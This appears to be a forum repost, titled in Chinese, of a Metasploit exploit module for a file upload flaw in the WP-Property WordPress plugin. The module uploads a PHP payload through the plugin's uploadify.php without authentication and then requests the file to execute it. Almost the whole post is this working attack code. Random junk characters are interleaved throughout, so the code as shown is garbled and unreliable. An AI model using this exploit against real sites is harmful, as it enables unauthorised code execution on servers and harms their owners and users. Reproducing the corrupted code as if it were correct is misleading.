WordPress WP-Property PHP 文件上传漏洞 s6 k; ?' j; F- j+ l) @; x: L! w6 T
% `: Y0 M- Y( i4 y
## # This file is part of the Metasploit Framework and may be subject to
( U( t5 Z. U8 X( J- c3 j$ v+ M
0 d% l' {' H, q6 w1 f# redistribution and commercial restrictions. Please see the Metasploit
8 i" q1 [$ }1 | B9 S
5 o6 A4 N( W( A: V# Framework web site for more information on licensing and terms of use.
/ o3 ] x% D) L; ~) J2 Q0 n
" l/ }. z1 S% [4 ^# http://metasploit.com/framework/ ##. g( }2 T' K. I* r O: ~7 w) k
) y E" r7 ?2 ^) h3 h
9 J/ c& F+ O) [
1 _# s: u i0 T8 y* c , r0 n' v1 }/ Y, v) [
' g/ t- A5 I1 w# e1 P4 |
require 'msf/core'9 V b; ~5 U7 Q. `$ d; c
require 'msf/core/exploit/php_exe'
7 ~; Y; ^6 m7 m3 Q- q1 l
, u% d' X7 V5 v. ^& Iclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
4 r# q' ]2 g# G7 o2 C1 ?'Description' => %q{
: W" H `/ S# J- qThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>; N9 t- F- `) N/ i* R V' b/ \
[# B! _ G. s, J' u6 @0 z9 V
'Sammy FORGIT', # initial discovery
% p! |/ n E2 G# Z# z'James Fitts <fitts.james[at]gmail.com>' # metasploit module
0 U9 v/ X" R3 l. V],
; T! M/ O* Z+ H'License' => MSF_LICENSE,
7 u n$ ]! z! J( b9 {0 m. w'References' =>6 G! _! D. Q% U/ n* y' U: x
[
* w5 w9 W( j" h. ~0 j[ 'OSVDB', '82656' ],
: c- ?( {7 ?/ G9 x& y6 h: Z[ 'BID', '53787' ],
" f; d3 t- y# h" \) S[ 'EDB', '18987'],. ?2 Z9 [' D' u% |# R6 z8 K7 p- e
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
8 [2 \& l* \+ \6 F$ d],! D5 X' y8 |& p+ A" f
'Payload' =>1 M x" T g O' v* }
{
5 s% Q# j, T/ }'BadChars' => "\x00",% y6 b) O9 `% H
},& D1 k6 M0 x c/ k
'Platform' => 'php',
0 r8 s6 z2 q8 d' I7 Y! W" @, p'Arch' => ARCH_PHP,9 M3 h C% t( ]4 [+ L
'Targets' =>" L3 P' m6 f4 f" j
[9 t, a8 |5 n4 b2 r! W0 N
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],4 P9 }) |) I( K! b; A
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]: D% J5 ?% t& D1 i
],; B L% k/ `) Z' z, J
'DefaultTarget' => 0,. _$ W* n8 \5 b# `
'DisclosureDate' => 'Mar 26 2012')), l& u! {- z0 l" ^8 z3 ]$ F
* C6 d: j; b; x7 m1 D8 v9 X
register_options(2 M* T7 a. J. G( j$ V: f
[
4 Q! a. c) [ l7 QOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])' Y+ r, S2 T: x D) Q7 H9 U* ?
], self.class)
6 {8 G' W3 }2 `1 H* Y yend
: P. M8 ~! ^& {5 u( O4 F0 A. d( H; @3 I% X, g
def check
: m+ ?$ `9 |& x2 ^uri = target_uri.path4 O; O) {5 r, `3 E" c3 e+ `
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',* V1 I2 b& R# Z
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
* `. U% p8 O! Y5 T4 |})) B1 K# ]" t; m) X! F
7 U% N* p* t2 R. o( X0 `if not res or res.code != 200
* e2 R: V$ z1 H. greturn Exploit::CheckCode::Unknown) q( j/ j: _. H" Y
end
9 c6 h6 u2 a( a- H
: l) M. ?/ o3 b( yreturn Exploit::CheckCode::Appears! a. }$ _' d2 M( F0 f9 Q' [
end p& P$ w6 w9 q" a* J
! U6 C# ?/ ]/ L; G. g; U
def exploit6 v; S7 w+ s G" Q
uri = target_uri.path% z- T' E: H( v9 G# t; W8 c; e
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)% x8 F1 J& X1 R8 N$ @, s* |& W- t1 C* N
% O' q3 @( `1 c7 ^( l* S' n
data = Rex::MIME::Message.new
6 c/ f8 r& M* X3 k3 S6 v! Ndata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")/ y! m' x/ ~; {2 }$ q# F
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
, a! G( e' U& a4 U/ |: e! N6 Xpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')6 a% m6 S- {! f4 _; A
7 u: h0 f. T- d: i: Gprint_status("#{peer} - Uploading payload #{@payload_name}")6 }1 u; Y) t- [2 Q8 g# e {% [! B
res = send_request_cgi({
. j0 ^9 _- D0 q0 b'method' => 'POST',
! ~% E) C8 ]/ L, _. O'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
5 ~% F4 O# j/ h0 l# R6 ^'ctype' => "multipart/form-data; boundary=#{data.bound}",
9 M% A8 e9 ~; ?" H4 ^2 H& \'data' => post_data
# w' y/ G& a u j& A})
- ^1 ]3 }* a. N1 M7 w7 N5 t1 s
2 S- L3 S, s" i0 D: Q' O5 E7 T/ Rif not res or res.code != 200 or res.body !~ /#{@payload_name}/) Q* r! A# ?! i; l) h
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
* q# K5 l* p: y* ]5 H, ?# {end3 s. z% y4 b# e" a
! J: ?" X! h) {; n4 L
upload_uri = res.body9 @- ]1 j3 M( u9 D6 c! x3 e
m: l2 h `7 h: z: m$ w9 F$ ?; [print_status("#{peer} - Executing payload #{@payload_name}")8 t1 d2 H: G9 i3 c6 t% y- z1 d; E
res = send_request_raw({
) a# y. y. A$ T3 W' t% a'uri' => upload_uri,2 `% i6 C/ ~! U( Y) n! b+ c
'method' => 'GET'# [9 m6 j g. m+ Y3 y* g! F) N
})0 \! u6 v( J3 _" K
end
* M! _% ^: W m5 c& x: Hend0 M- b: B& J4 E' ?" s) r0 V2 d7 l9 }
* n) t, s" P7 c1 n2 T2 i
不要问我这写的是什么 怎么利用 我是说msf.
3 ~, c/ P8 H% h# Z9 ], y
& R8 D' e- R# j6 c& L2 X3 x( K |